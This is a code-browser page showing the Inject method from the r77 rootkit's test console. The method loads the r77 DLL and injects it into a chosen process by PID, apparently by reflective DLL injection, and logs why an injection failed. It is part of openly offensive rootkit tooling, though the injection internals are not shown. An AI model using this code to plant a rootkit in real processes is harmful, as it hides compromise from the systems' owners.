MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / Inject

Method Inject

TestConsole/Helper/ProcessList.cs:65–120  ·  view source on GitHub ↗

Injects the specified process with the r77 DLL using reflective DLL injection. The process to inject. , if this process was injected successfully; otherwise, .

(ProcessModel process)

Source from the content-addressed store, hash-verified

63 /// otherwise, <see langword="false" />.
64 /// </returns>
65 public static async Task<bool> Inject(ProcessModel process)
66 {
67 return await Task.Run(() =>
68 {
69 if (ApplicationDirectory.GetFilePath(process.Is64Bit == true ? "r77-x64.dll" : "r77-x86.dll") is not string dllPath)
70 {
71 return false;
72 }
73
74 if (!ProcessEx.IsRunning(process.Id))
75 {
76 Log.Warning(
77 new LogFileItem(process.Name),
78 new LogTextItem($"(PID {process.Id}) is no longer running.")
79 );
80 return false;
81 }
82
83 if (!HelperDll.Inject(process.Id, File.ReadAllBytes(dllPath)))
84 {
85 string? reason = null;
86
87 if (process.Name.StartsWith(R77Const.HidePrefix, StringComparison.OrdinalIgnoreCase))
88 {
89 reason = $"The filename starts with '{R77Const.HidePrefix}'.";
90 }
91 else if (process.IsR77Service)
92 {
93 reason = "The process is the r77 service process.";
94 }
95 else if (process.IsHelper)
96 {
97 reason = "The process is a helper process.";
98 }
99 else if (process.IntegrityLevel < ProcessIntegrityLevel.Medium)
100 {
101 reason = "Sandboxes are not supported";
102 }
103
104 Log.Warning(
105 new LogTextItem("Injection of"),
106 new LogFileItem(process.Name),
107 new LogTextItem($"(PID {process.Id}) failed."),
108 reason != null ? new LogDetailsItem(reason) : null
109 );
110 return false;
111 }
112
113 Log.Information(
114 new LogTextItem("Injected"),
115 new LogFileItem(process.Name),
116 new LogTextItem($"(PID {process.Id}).")
117 );
118 return true;
119 });
120 }
121 /// <summary>
122 /// Detaches r77 from the specified process.

Callers

nothing calls this directly

Calls 3

GetFilePathMethod · 0.80
WarningMethod · 0.80
InformationMethod · 0.80

Tested by

no test coverage detected